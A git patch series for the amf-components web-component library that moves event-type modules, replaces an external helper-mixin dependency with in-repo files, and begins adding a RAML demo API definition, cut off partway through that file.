From e18a90415ef3c20fc9176a3b441b737700c1287c Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 9 Oct 2021 14:51:20 -0700
Subject: [PATCH 01/36] chore: moving server events

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 README.md                                  |  2 --
 src/{store => }/events/ApiEvents.d.ts      |  0
 src/{store => }/events/ApiEvents.js        |  4 ++--
 src/{store => }/events/BaseEvents.d.ts     |  2 --
 src/{store => }/events/BaseEvents.js       |  0
 src/events/EventTypes.d.ts                 |  5 +++++
 src/events/EventTypes.js                   |  4 ++++
 src/{store => }/events/Events.d.ts         |  8 ++++----
 src/{store => }/events/Events.js           |  8 ++++----
 src/store/events/StoreEventTypes.d.ts      | 11 -----------
 src/store/events/StoreEventTypes.js        |  5 -----
 src/store/events/StoreEvents.js            |  0
 src/store/mixins/AmfStoreDomEventsMixin.js |  4 ++--
 13 files changed, 21 insertions(+), 32 deletions(-)
 rename src/{store => }/events/ApiEvents.d.ts (100%)
 rename src/{store => }/events/ApiEvents.js (79%)
 rename src/{store => }/events/BaseEvents.d.ts (95%)
 rename src/{store => }/events/BaseEvents.js (100%)
 rename src/{store => }/events/Events.d.ts (86%)
 rename src/{store => }/events/Events.js (86%)
 delete mode 100644 src/store/events/StoreEventTypes.d.ts
 delete mode 100644 src/store/events/StoreEventTypes.js
 delete mode 100644 src/store/events/StoreEvents.js

diff --git a/README.md b/README.md
index ddeab15..194defd 100644
--- a/README.md
+++ b/README.md
@@ -4,8 +4,6 @@ A set of web components based on LitElement that creates the visualization layer
 
 This project replaces all `api-*` components from this organization and consolidates the code base under a single repository.
 
-## Version compatibility
-
 [![Published on NPM](https://img.shields.io/npm/v/@api-components/amf-components.svg)](https://www.npmjs.com/package/@api-components/amf-components)
 
 [![Tests and publishing](https://github.com/advanced-rest-client/amf-components/actions/workflows/deployment.yml/badge.svg)](https://github.com/advanced-rest-client/amf-components/actions/workflows/deployment.yml)
diff --git a/src/store/events/ApiEvents.d.ts b/src/events/ApiEvents.d.ts
similarity index 100%
rename from src/store/events/ApiEvents.d.ts
rename to src/events/ApiEvents.d.ts
diff --git a/src/store/events/ApiEvents.js b/src/events/ApiEvents.js
similarity index 79%
rename from src/store/events/ApiEvents.js
rename to src/events/ApiEvents.js
index 3d6d522..9b493b3 100644
--- a/src/store/events/ApiEvents.js
+++ b/src/events/ApiEvents.js
@@ -1,5 +1,5 @@
 /* eslint-disable max-classes-per-file */
-import { StoreEventTypes } from './StoreEventTypes.js';
+import { EventTypes } from './EventTypes.js';
 import { ApiStoreContextEvent } from './BaseEvents.js';
 
 /** @typedef {import('@api-components/amf-helper-mixin').ApiSummary} ApiSummary */
@@ -12,7 +12,7 @@ export const ApiEvents = {
    * @returns {Promise<ApiSummary>}
    */
   summary: async (target) => {
-    const e = new ApiStoreContextEvent(StoreEventTypes.Api.summary);
+    const e = new ApiStoreContextEvent(EventTypes.Api.summary);
     target.dispatchEvent(e);
     return e.detail.result;
   },
diff --git a/src/store/events/BaseEvents.d.ts b/src/events/BaseEvents.d.ts
similarity index 95%
rename from src/store/events/BaseEvents.d.ts
rename to src/events/BaseEvents.d.ts
index f06b55b..cc447e3 100644
--- a/src/store/events/BaseEvents.d.ts
+++ b/src/events/BaseEvents.d.ts
@@ -1,5 +1,3 @@
-import { ApiExample, ApiParameter, ApiPayload } from "@api-components/amf-helper-mixin";
-
 export declare class ApiStoreContextEvent<T> extends CustomEvent<StoreEventDetailWithResult<T>> {
   /**
    * @param type The event type
diff --git a/src/store/events/BaseEvents.js b/src/events/BaseEvents.js
similarity index 100%
rename from src/store/events/BaseEvents.js
rename to src/events/BaseEvents.js
diff --git a/src/events/EventTypes.d.ts b/src/events/EventTypes.d.ts
index 3fbec89..11d6503 100644
--- a/src/events/EventTypes.d.ts
+++ b/src/events/EventTypes.d.ts
@@ -19,10 +19,15 @@ interface Server {
   serverCountChange: string;
 }
 
+declare interface ApiEvents {
+  summary: string;
+}
+
 interface IEventTypes {
   Security: Readonly<Security>;
   Request: Readonly<Request>;
   Server: Readonly<Server>;
+  Api: Readonly<ApiEvents>;
 }
 
 export const EventTypes: Readonly<IEventTypes>;
diff --git a/src/events/EventTypes.js b/src/events/EventTypes.js
index 027b058..ab5ccdc 100644
--- a/src/events/EventTypes.js
+++ b/src/events/EventTypes.js
@@ -18,4 +18,8 @@ export const EventTypes = Object.freeze({
     serverChange: 'apiserverchanged',
     serverCountChange: 'serverscountchanged',
   }),
+
+  Api: Object.freeze({
+    summary: 'amfstoreapisummary',
+  }),
 });
diff --git a/src/store/events/Events.d.ts b/src/events/Events.d.ts
similarity index 86%
rename from src/store/events/Events.d.ts
rename to src/events/Events.d.ts
index 412bdd7..6613574 100644
--- a/src/store/events/Events.d.ts
+++ b/src/events/Events.d.ts
@@ -1,12 +1,12 @@
 // import { IEndpointEvents } from './EndpointEvents';
 // import { IOperationEvents } from './OperationEvents';
 import { IApiEvents } from './ApiEvents';
-// import { IServerEvents } from './ServerEvents';
+import { IServerEvents } from './ServerEvents';
 // import { IDocumentationEvents } from './DocumentationEvents';
 // import { ISecurityEvents } from './SecurityEvents';
 // import { ITypeEvents } from './TypeEvents';
 // import { IResponseEvents } from './ResponseEvents';
-// import { IRequestEvents } from './RequestEvents';
+import { IRequestEvents } from './RequestEvents';
 // import { IPayloadEvents } from './PayloadEvents';
 // import { IParameterEvents } from './ParameterEvents';
 // import { IExampleEvents } from './ExampleEvents';
@@ -16,12 +16,12 @@ declare interface IEvents {
   Api: IApiEvents;
   // Endpoint: IEndpointEvents;
   // Operation: IOperationEvents;
-  // Server: IServerEvents;
+  Server: IServerEvents;
   // Documentation: IDocumentationEvents;
   // Security: ISecurityEvents;
   // Type: ITypeEvents;
   // Response: IResponseEvents;
-  // Request: IRequestEvents;
+  Request: IRequestEvents;
   // Payload: IPayloadEvents;
   // Parameter: IParameterEvents;
   // Example: IExampleEvents;
diff --git a/src/store/events/Events.js b/src/events/Events.js
similarity index 86%
rename from src/store/events/Events.js
rename to src/events/Events.js
index 4a22f36..9c448ac 100644
--- a/src/store/events/Events.js
+++ b/src/events/Events.js
@@ -2,12 +2,12 @@
 // import { EndpointEvents } from './EndpointEvents.js';
 // import { OperationEvents } from './OperationEvents.js';
 import { ApiEvents } from './ApiEvents.js';
-// import { ServerEvents } from './ServerEvents.js';
+import { ServerEvents } from './ServerEvents.js';
 // import { DocumentationEvents } from './DocumentationEvents.js';
 // import { SecurityEvents } from './SecurityEvents.js';
 // import { TypeEvents } from './TypeEvents.js';
 // import { ResponseEvents } from './ResponseEvents.js';
-// import { RequestEvents } from './RequestEvents.js';
+import { RequestEvents } from './RequestEvents.js';
 // import { PayloadEvents } from './PayloadEvents.js';
 // import { ParameterEvents } from './ParameterEvents.js';
 // import { ExampleEvents } from './ExampleEvents.js';
@@ -17,12 +17,12 @@ export const Events = {
   Api: ApiEvents,
   // Endpoint: EndpointEvents,
   // Operation: OperationEvents,
-  // Server: ServerEvents,
+  Server: ServerEvents,
   // Documentation: DocumentationEvents,
   // Security: SecurityEvents,
   // Type: TypeEvents,
   // Response: ResponseEvents,
-  // Request: RequestEvents,
+  Request: RequestEvents,
   // Payload: PayloadEvents,
   // Parameter: ParameterEvents,
   // Example: ExampleEvents,
diff --git a/src/store/events/StoreEventTypes.d.ts b/src/store/events/StoreEventTypes.d.ts
deleted file mode 100644
index 18d606c..0000000
--- a/src/store/events/StoreEventTypes.d.ts
+++ /dev/null
@@ -1,11 +0,0 @@
-/**
- * Events types definition.
- */
-declare interface IStoreEventTypes {
-  Api: Readonly<ApiEvents>;
-}
-export const StoreEventTypes: Readonly<IStoreEventTypes>;
-
-declare interface ApiEvents {
-  summary: string;
-}
diff --git a/src/store/events/StoreEventTypes.js b/src/store/events/StoreEventTypes.js
deleted file mode 100644
index 4b99e04..0000000
--- a/src/store/events/StoreEventTypes.js
+++ /dev/null
@@ -1,5 +0,0 @@
-export const StoreEventTypes = Object.freeze({
-  Api: Object.freeze({
-    summary: 'amfstoreapisummary',
-  }),
-});
diff --git a/src/store/events/StoreEvents.js b/src/store/events/StoreEvents.js
deleted file mode 100644
index e69de29..0000000
diff --git a/src/store/mixins/AmfStoreDomEventsMixin.js b/src/store/mixins/AmfStoreDomEventsMixin.js
index 492f58f..32eb157 100644
--- a/src/store/mixins/AmfStoreDomEventsMixin.js
+++ b/src/store/mixins/AmfStoreDomEventsMixin.js
@@ -1,7 +1,7 @@
 /* eslint-disable class-methods-use-this */
 import { dedupeMixin } from '@open-wc/dedupe-mixin';
 import { EventsTargetMixin } from  '@advanced-rest-client/events-target-mixin';
-import { StoreEventTypes } from '../events/StoreEventTypes.js';
+import { EventTypes } from '../../events/EventTypes.js';
 
 
 export const eventHandler = Symbol('eventHandler');
@@ -10,7 +10,7 @@ export const eventHandler = Symbol('eventHandler');
  * @type {Record<string, { target: string, args?: string[], eventProperties?: boolean }>}
  */
 const eventsMap = {
-  [StoreEventTypes.Api.summary]: { target: 'apiSummary' },
+  [EventTypes.Api.summary]: { target: 'apiSummary' },
 };
 
 /**

From 8439b6429b5f94275c93df1a9bbadc4d6752d011 Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Sat, 9 Oct 2021 16:43:46 -0700
Subject: [PATCH 02/36] chore: moving @api-components/amf-helper-mixin

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |    1 +
 demo/api-documentation-partial.js             |    2 +-
 demo/api-documentation.js                     |    2 +-
 demo/api-operation.js                         |    2 +-
 demo/api-payload.js                           |    2 +-
 demo/api-resource.js                          |    2 +-
 demo/api-schema-documentation.js              |    2 +-
 demo/apis/amf-helper-api/amf-helper-api.raml  | 1024 ++++++++
 .../examples/comment-example.json             |   42 +
 .../commentCreateRequest-example.json         |    7 +
 .../examples/commentList-example.json         |   48 +
 demo/apis/amf-helper-api/examples/person.json |   14 +
 demo/apis/amf-helper-api/examples/person.raml |   13 +
 demo/apis/amf-helper-api/examples/person.xml  |   14 +
 .../amf-helper-api/libraries/comment-lib.raml |  143 ++
 demo/apis/amf-helper-api/library.raml         |    7 +
 demo/apis/amf-helper-api/schemas/person.json  |  104 +
 demo/apis/amf-helper-api/schemas/person.xsd   |   26 +
 demo/apis/amf-helper-api/traits/file.raml     |   33 +
 .../amf-helper-api/traits/pagination.raml     |   80 +
 demo/apis/amf-helper-api/traits/results.raml  |   19 +
 .../amf-helper-api/traits/visibility.raml     |   14 +
 .../apis/amf-helper-api/types/app-person.raml |  101 +
 .../apis/amf-helper-api/types/dimensions.raml |   24 +
 .../amf-helper-api/types/external-type.raml   |    7 +
 demo/apis/amf-helper-api/types/image.raml     |   23 +
 demo/apis/amf-helper-api/types/product.raml   |   52 +
 demo/apis/amf-helper-api/types/resource.raml  |   11 +
 .../types/standard-request.raml               |   50 +
 demo/apis/amf-helper-api/types/user.raml      |   37 +
 demo/apis/arc-demo-api/arc-demo-api.raml      |  469 ++++
 demo/apis/arc-demo-api/examples/e400.xml      |    4 +
 demo/apis/arc-demo-api/examples/e401.xml      |    4 +
 demo/apis/arc-demo-api/examples/e404.xml      |    4 +
 demo/apis/arc-demo-api/examples/image.xml     |    5 +
 .../examples/messages-example.json            |   22 +
 .../examples/messages-sent-example.json       |   15 +
 demo/apis/arc-demo-api/examples/person.json   |   14 +
 .../arc-demo-api/examples/person.url.encoded  |    1 +
 demo/apis/arc-demo-api/examples/person.xml    |   14 +
 demo/apis/arc-demo-api/examples/product.xml   |    9 +
 demo/apis/arc-demo-api/library.raml           |   36 +
 .../resourceTypes/app-person.raml             |   49 +
 .../resourceTypes/example-types.raml          |   45 +
 .../arc-demo-api/resourceTypes/image.raml     |   23 +
 .../resourceTypes/message-sent-type.raml      |   23 +
 .../resourceTypes/message-type.raml           |   33 +
 .../arc-demo-api/resourceTypes/product.raml   |   52 +
 .../arc-demo-api/resourceTypes/resource.raml  |   11 +
 .../arc-demo-api/schemas/error-response.xsd   |   11 +
 demo/apis/arc-demo-api/schemas/image.xsd      |   11 +
 demo/apis/arc-demo-api/schemas/person.json    |  104 +
 demo/apis/arc-demo-api/schemas/person.xsd     |   26 +
 demo/apis/arc-demo-api/schemas/product.xsd    |   17 +
 .../arc-demo-api/securitySchemes/basic.raml   |    5 +
 .../securitySchemes/oauth_2_0.raml            |   29 +
 .../securitySchemes/x-custom.raml             |   26 +
 demo/apis/arc-demo-api/traits/adminable.raml  |   23 +
 demo/apis/arc-demo-api/traits/pagination.raml |   83 +
 .../arc-demo-api/traits/rate-limited.raml     |    9 +
 demo/apis/expanded-api/expanded-api.raml      |    8 +
 demo/apis/flattened-api/flattened-api.raml    |    8 +
 .../multiple-servers/multiple-servers.yaml    |  112 +
 demo/apis/oas-3-api/oas-3-api.yaml            |  170 +-
 demo/apis/petstore/petstore.yaml              |   86 +-
 demo/lib/AmfPartialGraphStore.js              |   12 +-
 demo/model.mjs                                |    5 +
 index.d.ts                                    |    5 +
 index.js                                      |    3 +
 package-lock.json                             |   21 +-
 package.json                                  |    3 +-
 .../ApiAnnotationDocumentElement.d.ts         |    4 +-
 src/elements/ApiAnnotationDocumentElement.js  |   16 +-
 .../ApiAuthorizationEditorElement.d.ts        |    7 +-
 src/elements/ApiAuthorizationEditorElement.js |   10 +-
 .../ApiAuthorizationMethodElement.d.ts        |    3 +-
 src/elements/ApiAuthorizationMethodElement.js |    4 +-
 src/elements/ApiChannelDocumentElement.js     |    2 +-
 src/elements/ApiDocumentationBase.d.ts        |    5 +-
 src/elements/ApiDocumentationBase.js          |   13 +-
 .../ApiDocumentationDocumentElement.d.ts      |    3 +-
 .../ApiDocumentationDocumentElement.js        |    4 +-
 src/elements/ApiDocumentationElement.js       |   14 +-
 src/elements/ApiOperationDocumentElement.js   |   24 +-
 src/elements/ApiParameterDocumentElement.js   |   10 +-
 .../ApiParametrizedSecuritySchemeElement.js   |    6 +-
 src/elements/ApiPayloadDocumentElement.js     |    8 +-
 src/elements/ApiRequestDocumentElement.js     |   16 +-
 src/elements/ApiRequestEditorElement.d.ts     |    9 +-
 src/elements/ApiRequestEditorElement.js       |   21 +-
 src/elements/ApiRequestElement.d.ts           |    5 +-
 src/elements/ApiRequestElement.js             |    4 +-
 src/elements/ApiResourceDocumentElement.js    |   14 +-
 src/elements/ApiResponseDocumentElement.js    |   10 +-
 src/elements/ApiSchemaDocumentElement.js      |   28 +-
 src/elements/ApiSecurityDocumentElement.js    |   22 +-
 .../ApiSecurityRequirementDocumentElement.js  |    4 +-
 src/elements/ApiServerSelectorElement.d.ts    |    4 +-
 src/elements/ApiServerSelectorElement.js      |    7 +-
 src/elements/ApiSummaryElement.d.ts           |    8 +-
 src/elements/ApiSummaryElement.js             |   14 +-
 src/elements/SchemaCommonTemplates.js         |   20 +-
 src/events/ApiEvents.d.ts                     |    2 +-
 src/events/ApiEvents.js                       |    2 +-
 src/helpers/AmfHelperMixin.d.ts               |  623 +++++
 src/helpers/AmfHelperMixin.js                 | 1544 ++++++++++++
 src/helpers/AmfSerializer.d.ts                |  182 ++
 src/helpers/AmfSerializer.js                  | 2236 +++++++++++++++++
 src/helpers/Namespace.d.ts                    |  372 +++
 src/helpers/Namespace.js                      |  346 +++
 src/helpers/amf.d.ts                          |  442 ++++
 src/helpers/api.d.ts                          |  539 ++++
 src/lib/AmfInputParser.js                     |   22 +-
 src/lib/AmfParameterMixin.d.ts                |    2 +-
 src/lib/AmfParameterMixin.js                  |   18 +-
 src/lib/Oauth2RamlCustomData.js               |   18 +-
 src/lib/PayloadUtils.js                       |    6 +-
 src/lib/QueryParameterProcessor.js            |   16 +-
 src/lib/SecurityProcessor.js                  |    2 +-
 src/lib/UrlUtils.js                           |    4 +-
 src/lib/Utils.js                              |   24 +-
 src/lib/auth-ui/ApiKeyAuth.js                 |    4 +-
 src/lib/auth-ui/ApiUiBase.js                  |    4 +-
 src/lib/auth-ui/CustomAuth.js                 |   14 +-
 src/lib/auth-ui/OAuth1Auth.js                 |    8 +-
 src/lib/auth-ui/OAuth2Auth.js                 |   28 +-
 src/lib/auth-ui/PassThroughAuth.js            |    8 +-
 src/store/AmfGraphStore.d.ts                  |    2 +-
 src/store/AmfGraphStore.js                    |    2 +-
 src/store/AmfStore.js                         |    9 +-
 src/types.d.ts                                |    2 +-
 test/AmfLoader.js                             |  154 +-
 .../ApiAuthorizationEditorElement.oas.test.js |    4 +-
 ...ApiAuthorizationEditorElement.raml.test.js |    4 +-
 test/authorization/ApiKeyMethod.test.js       |    4 +-
 test/authorization/CustomMethod.test.js       |    4 +-
 test/authorization/OAuth1Method.test.js       |    4 +-
 test/authorization/OAuth2-21143.test.js       |    4 +-
 test/authorization/OAuth2-flows.test.js       |    4 +-
 test/authorization/OAuth2-pkce.test.js        |    4 +-
 test/authorization/OAuth2Method.test.js       |    4 +-
 test/authorization/PassThroughMethod.test.js  |    4 +-
 .../ApiAnnotationDocumentElement.test.js      |    4 +-
 .../ApiDocumentationDocumentElement.test.js   |    6 +-
 .../ApiOperationDocumentElement.test.js       |    6 +-
 .../ApiRequestDocumentElement.test.js         |    6 +-
 .../ApiResourceDocumentationElement.test.js   |    6 +-
 .../ApiResponseDocumentElement.test.js        |    6 +-
 .../elements/ApiSchemaDocumentElement.test.js |    6 +-
 .../elements/ApiServerSelectorElement.test.js |    2 +-
 test/elements/ApiSummaryElement.test.js       |    4 +-
 test/helpers/AmfHelperMixin.test.js           | 2142 ++++++++++++++++
 test/helpers/Namepsace.test.js                |  546 ++++
 test/helpers/SE-12957.test.js                 |   49 +
 test/helpers/base-uri.test.js                 |  182 ++
 test/helpers/test-element.js                  |   16 +
 test/http-request/APIC-289.test.js            |    2 +-
 test/http-request/APIC-298.test.js            |    2 +-
 test/http-request/APIC-689.test.js            |    2 +-
 .../ApiRequestEditorElement.test.js           |    4 +-
 test/http-request/ApiRequestElement.test.js   |    2 +-
 test/http-request/SE-12042.test.js            |    2 +-
 test/http-request/SE-12957.test.js            |    2 +-
 test/lib/UrlUtils.test.js                     |    4 +-
 test/serializer/APIC-483.test.js              |   47 +
 test/serializer/Anotations.test.js            |   58 +
 test/serializer/Api.test.js                   |  196 ++
 test/serializer/Documentation.test.js         |   55 +
 test/serializer/Endpoints.test.js             |  162 ++
 test/serializer/Operations.test.js            |  331 +++
 test/serializer/Parameters.test.js            |  147 ++
 test/serializer/PayloadExamples.test.js       |  149 ++
 test/serializer/Security.test.js              |  559 +++++
 test/serializer/Server.test.js                |   89 +
 test/serializer/Shapes.test.js                |  290 +++
 test/serializer/SourceMaps.test.js            |   55 +
 web-test-runner.config.mjs                    |    1 +
 177 files changed, 15267 insertions(+), 383 deletions(-)
 create mode 100644 demo/apis/amf-helper-api/amf-helper-api.raml
 create mode 100644 demo/apis/amf-helper-api/examples/comment-example.json
 create mode 100644 demo/apis/amf-helper-api/examples/commentCreateRequest-example.json
 create mode 100644 demo/apis/amf-helper-api/examples/commentList-example.json
 create mode 100644 demo/apis/amf-helper-api/examples/person.json
 create mode 100644 demo/apis/amf-helper-api/examples/person.raml
 create mode 100644 demo/apis/amf-helper-api/examples/person.xml
 create mode 100644 demo/apis/amf-helper-api/libraries/comment-lib.raml
 create mode 100644 demo/apis/amf-helper-api/library.raml
 create mode 100644 demo/apis/amf-helper-api/schemas/person.json
 create mode 100644 demo/apis/amf-helper-api/schemas/person.xsd
 create mode 100644 demo/apis/amf-helper-api/traits/file.raml
 create mode 100644 demo/apis/amf-helper-api/traits/pagination.raml
 create mode 100644 demo/apis/amf-helper-api/traits/results.raml
 create mode 100644 demo/apis/amf-helper-api/traits/visibility.raml
 create mode 100644 demo/apis/amf-helper-api/types/app-person.raml
 create mode 100644 demo/apis/amf-helper-api/types/dimensions.raml
 create mode 100644 demo/apis/amf-helper-api/types/external-type.raml
 create mode 100644 demo/apis/amf-helper-api/types/image.raml
 create mode 100644 demo/apis/amf-helper-api/types/product.raml
 create mode 100644 demo/apis/amf-helper-api/types/resource.raml
 create mode 100644 demo/apis/amf-helper-api/types/standard-request.raml
 create mode 100644 demo/apis/amf-helper-api/types/user.raml
 create mode 100644 demo/apis/arc-demo-api/arc-demo-api.raml
 create mode 100644 demo/apis/arc-demo-api/examples/e400.xml
 create mode 100644 demo/apis/arc-demo-api/examples/e401.xml
 create mode 100644 demo/apis/arc-demo-api/examples/e404.xml
 create mode 100644 demo/apis/arc-demo-api/examples/image.xml
 create mode 100644 demo/apis/arc-demo-api/examples/messages-example.json
 create mode 100644 demo/apis/arc-demo-api/examples/messages-sent-example.json
 create mode 100644 demo/apis/arc-demo-api/examples/person.json
 create mode 100644 demo/apis/arc-demo-api/examples/person.url.encoded
 create mode 100644 demo/apis/arc-demo-api/examples/person.xml
 create mode 100644 demo/apis/arc-demo-api/examples/product.xml
 create mode 100644 demo/apis/arc-demo-api/library.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/app-person.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/example-types.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/image.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/message-sent-type.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/message-type.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/product.raml
 create mode 100644 demo/apis/arc-demo-api/resourceTypes/resource.raml
 create mode 100644 demo/apis/arc-demo-api/schemas/error-response.xsd
 create mode 100644 demo/apis/arc-demo-api/schemas/image.xsd
 create mode 100644 demo/apis/arc-demo-api/schemas/person.json
 create mode 100644 demo/apis/arc-demo-api/schemas/person.xsd
 create mode 100644 demo/apis/arc-demo-api/schemas/product.xsd
 create mode 100644 demo/apis/arc-demo-api/securitySchemes/basic.raml
 create mode 100644 demo/apis/arc-demo-api/securitySchemes/oauth_2_0.raml
 create mode 100644 demo/apis/arc-demo-api/securitySchemes/x-custom.raml
 create mode 100644 demo/apis/arc-demo-api/traits/adminable.raml
 create mode 100644 demo/apis/arc-demo-api/traits/pagination.raml
 create mode 100644 demo/apis/arc-demo-api/traits/rate-limited.raml
 create mode 100644 demo/apis/expanded-api/expanded-api.raml
 create mode 100644 demo/apis/flattened-api/flattened-api.raml
 create mode 100644 demo/apis/multiple-servers/multiple-servers.yaml
 create mode 100644 src/helpers/AmfHelperMixin.d.ts
 create mode 100644 src/helpers/AmfHelperMixin.js
 create mode 100644 src/helpers/AmfSerializer.d.ts
 create mode 100644 src/helpers/AmfSerializer.js
 create mode 100644 src/helpers/Namespace.d.ts
 create mode 100644 src/helpers/Namespace.js
 create mode 100644 src/helpers/amf.d.ts
 create mode 100644 src/helpers/api.d.ts
 create mode 100644 test/helpers/AmfHelperMixin.test.js
 create mode 100644 test/helpers/Namepsace.test.js
 create mode 100644 test/helpers/SE-12957.test.js
 create mode 100644 test/helpers/base-uri.test.js
 create mode 100644 test/helpers/test-element.js
 create mode 100644 test/serializer/APIC-483.test.js
 create mode 100644 test/serializer/Anotations.test.js
 create mode 100644 test/serializer/Api.test.js
 create mode 100644 test/serializer/Documentation.test.js
 create mode 100644 test/serializer/Endpoints.test.js
 create mode 100644 test/serializer/Operations.test.js
 create mode 100644 test/serializer/Parameters.test.js
 create mode 100644 test/serializer/PayloadExamples.test.js
 create mode 100644 test/serializer/Security.test.js
 create mode 100644 test/serializer/Server.test.js
 create mode 100644 test/serializer/Shapes.test.js
 create mode 100644 test/serializer/SourceMaps.test.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 2450a74..50f587c 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -3,6 +3,7 @@
     "apirequest",
     "apiserverchanged",
     "Applian",
+    "Arrable",
     "contentinfo",
     "dompurify",
     "fasttext",
diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index e802066..a999513 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -4,10 +4,10 @@ import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@api-components/api-server-selector/api-server-selector.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import { AmfPartialGraphStore } from './lib/AmfPartialGraphStore.js';
 import '../api-documentation.js';
+import '../api-server-selector.js';
 import '../api-request.js';
 import '../xhr-simple-request.js';
 
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index 55da04d..e75a71c 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -4,10 +4,10 @@ import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@api-components/api-server-selector/api-server-selector.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-request.js';
 import '../xhr-simple-request.js';
+import '../api-server-selector.js';
 import '../api-documentation.js';
 
 class ComponentDemo extends AmfDemoBase {
diff --git a/demo/api-operation.js b/demo/api-operation.js
index fd48f5b..16db000 100644
--- a/demo/api-operation.js
+++ b/demo/api-operation.js
@@ -4,10 +4,10 @@ import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@api-components/api-server-selector/api-server-selector.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-operation-document.js';
 import '../api-request.js';
+import '../api-server-selector.js';
 import '../xhr-simple-request.js';
 
 class ComponentPage extends AmfDemoBase {
diff --git a/demo/api-payload.js b/demo/api-payload.js
index 17264cb..a10e2bc 100644
--- a/demo/api-payload.js
+++ b/demo/api-payload.js
@@ -2,7 +2,7 @@ import { html } from 'lit-html';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-payload-document.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').Payload} Payload */
+/** @typedef {import('../').Amf.Payload} Payload */
 /** 
  * @typedef ResponsePayload 
  * @property {string} code
diff --git a/demo/api-resource.js b/demo/api-resource.js
index 1193673..29faf87 100644
--- a/demo/api-resource.js
+++ b/demo/api-resource.js
@@ -4,11 +4,11 @@ import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog.js';
 import '@anypoint-web-components/anypoint-dialog/anypoint-dialog-scrollable.js';
 import '@advanced-rest-client/authorization/oauth2-authorization.js';
-import '@api-components/api-server-selector/api-server-selector.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-resource-document.js';
 import '../api-request.js';
 import '../xhr-simple-request.js';
+import '../api-server-selector.js';
 
 class ComponentPage extends AmfDemoBase {
   constructor() {
diff --git a/demo/api-schema-documentation.js b/demo/api-schema-documentation.js
index e85f4e6..f8038b8 100644
--- a/demo/api-schema-documentation.js
+++ b/demo/api-schema-documentation.js
@@ -7,7 +7,7 @@ import '@api-components/api-navigation/api-navigation.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
 import '../api-schema-document.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
+/** @typedef {import('../src/helpers/amf').DomainElement} DomainElement */
 
 class ComponentPage extends AmfDemoBase {
   constructor() {
diff --git a/demo/apis/amf-helper-api/amf-helper-api.raml b/demo/apis/amf-helper-api/amf-helper-api.raml
new file mode 100644
index 0000000..4961010
--- /dev/null
+++ b/demo/apis/amf-helper-api/amf-helper-api.raml
@@ -0,0 +1,1024 @@
+#%RAML 1.0
+title: Navigation demo API
+
+version: v2
+baseUri: https://api.mulesoft.com/{version}
+mediaType: application/json
+protocols: [HTTPS]
+
+uses:
+  myLib: library.raml
+  CommentLib: libraries/comment-lib.raml
+
+traits:
+  Paginated: !include traits/pagination.raml
+  results: !include traits/results.raml
+  visibility: !include traits/visibility.raml
+  file: !include traits/file.raml
+
+annotationTypes:
+  deprecated: string
+  annotationTest: nil
+  clearanceLevel:
+    properties:
+      level:
+        enum: [ low, medium, high ]
+        required: true
+      signature:
+        pattern: "\\d{3}-\\w{12}"
+        required: true
+
+securitySchemes:
+  basic:
+    type: Basic Authentication
+    description: |
+      Test basic auth method
+  other:
+    displayName: Digest
+    type: Digest Authentication
+  OAuth:
+    type: OAuth 2.0
+    displayName: Regular OAuth 2.0 definition
+    settings:
+      accessTokenUri: https://token.com
+      authorizationUri: https://auth.com
+      scopes: [profile, email]
+    describedBy:
+      queryParameters:
+        access_token:
+          type: string
+          description: Apply access token here.
+      headers:
+        Authorization:
+          type: string
+
+resourceTypes:
+  standardRequest: !include types/standard-request.raml
+
+documentation:
+  - title: How to begin
+    content: |
+      Example content
+  - title: Other documentation entry
+    content: |
+      Example content
+types:
+  Image: !include types/image.raml
+  Resource: !include types/resource.raml
+  AppPerson: !include types/app-person.raml
+  Product: !include types/product.raml
+  Dimension: !include types/dimensions.raml
+  SchemaPerson:
+    type: !include schemas/person.json
+    example: !include examples/person.json
+  Picture:
+    displayName: Pic
+    type: Resource
+    description: The user's profile picture.
+    properties:
+      url:
+        (annotationTest):
+        type: string
+        required: false
+        description: A URL that points to a profile picture of this user.
+      dimension: Dimension
+  ComplexInclusion:
+    type: Product
+    properties:
+      dimension: !include types/dimensions.raml
+  Property:
+    type: object
+    properties:
+      kind:
+        type: string
